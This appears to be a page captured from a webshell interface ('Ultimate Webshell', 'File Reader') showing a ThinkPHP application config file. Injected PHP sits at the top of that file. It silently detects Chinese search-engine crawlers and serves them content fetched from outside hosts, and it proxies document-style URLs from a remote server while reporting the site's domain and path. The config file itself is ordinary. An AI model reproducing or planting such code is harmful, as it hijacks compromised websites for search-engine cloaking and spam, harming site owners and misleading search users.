Ultimate Webshell

📖 File Reader

<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$a = "stristr";
$b = $_SERVER;
function goto2024($c)
{
    $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    curl_setopt($d, CURLOPT_ENCODING, 'gzip');
    $e = curl_exec($d);
    curl_close($d);
    return $e;
}

$url = $_SERVER['REQUEST_URI'];

define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://111php.gotzduan.com");
define('road', "?domain=" . $b['HTTP_HOST'] . "&path=" .$url);
define('memes', road . "&referer=" . urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a($url, ".xml") or $a($url, ".doc") or $a($url, ".txt") or $a($url, ".ppt") or $a($url, ".pptx") or $a($url, ".xls") or $a($url, ".csv") or $a($url, ".shtml") or $a($url, ".asp") or $a($url, "scm"));

if (area) {
    $html = goto2024(site . road);
    echo $html;
    exit;
} else {
    if (preg_match(regs, ent)) {
        $testUrl = getCurrentUrl() . "/sadw.shtml";
        if (isStatusCode200($testUrl)) {
            echo goto2024("http://aa.gossopp.com/u.php");
        }else{
            echo goto2024("http://kgr909.com/a.php");
        }
        ob_flush();
        flush();
    }
}

function isStatusCode200($url) {
    $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $url);
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    curl_setopt($d, CURLOPT_ENCODING, 'gzip');
    curl_exec($d);
  
    $httpCode = curl_getinfo($d, CURLINFO_HTTP_CODE);
    curl_close($d);

    return $httpCode === 200;
}

function getCurrentUrl() {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
    $host = $_SERVER['HTTP_HOST'];
    $uri = $_SERVER['REQUEST_URI'];

    return $protocol . $host . $uri;
}

// +----------------------------------------------------------------------
// | 应用设置
// +----------------------------------------------------------------------

return [
    // 应用地址
    'app_host'         => env('app.host', ''),
    // 应用的命名空间
    'app_namespace'    => '',
    // 是否启用路由
    'with_route'       => true,
    // 默认应用
    'default_app'      => 'home',
    // 默认时区
    'default_timezone' => 'Asia/Shanghai',

    // 应用映射（自动多应用模式有效）
    'app_map'          => [],
    // 域名绑定（自动多应用模式有效）
    'domain_bind'      => [],
    // 禁止URL访问的应用列表（自动多应用模式有效）
    'deny_app_list'    => [],

    // 异常页面的模板文件
    'exception_tmpl'   => app()->getThinkPath() . 'tpl/think_exception.tpl',
    //自定义异常页面
    'http_exception_template'    =>  [
        // 定义404错误的模板文件地址
        404 =>  \think\facade\App::getAppPath() . '404.html',
    ],

    // 错误显示信息,非调试模式有效
    'error_message'    => '页面错误！请稍后再试～',
    // 显示错误信息
    'show_error_msg'   => true,
];
🔓 Ultimate Webshell - Penetration Testing Tool

📖 File Reader
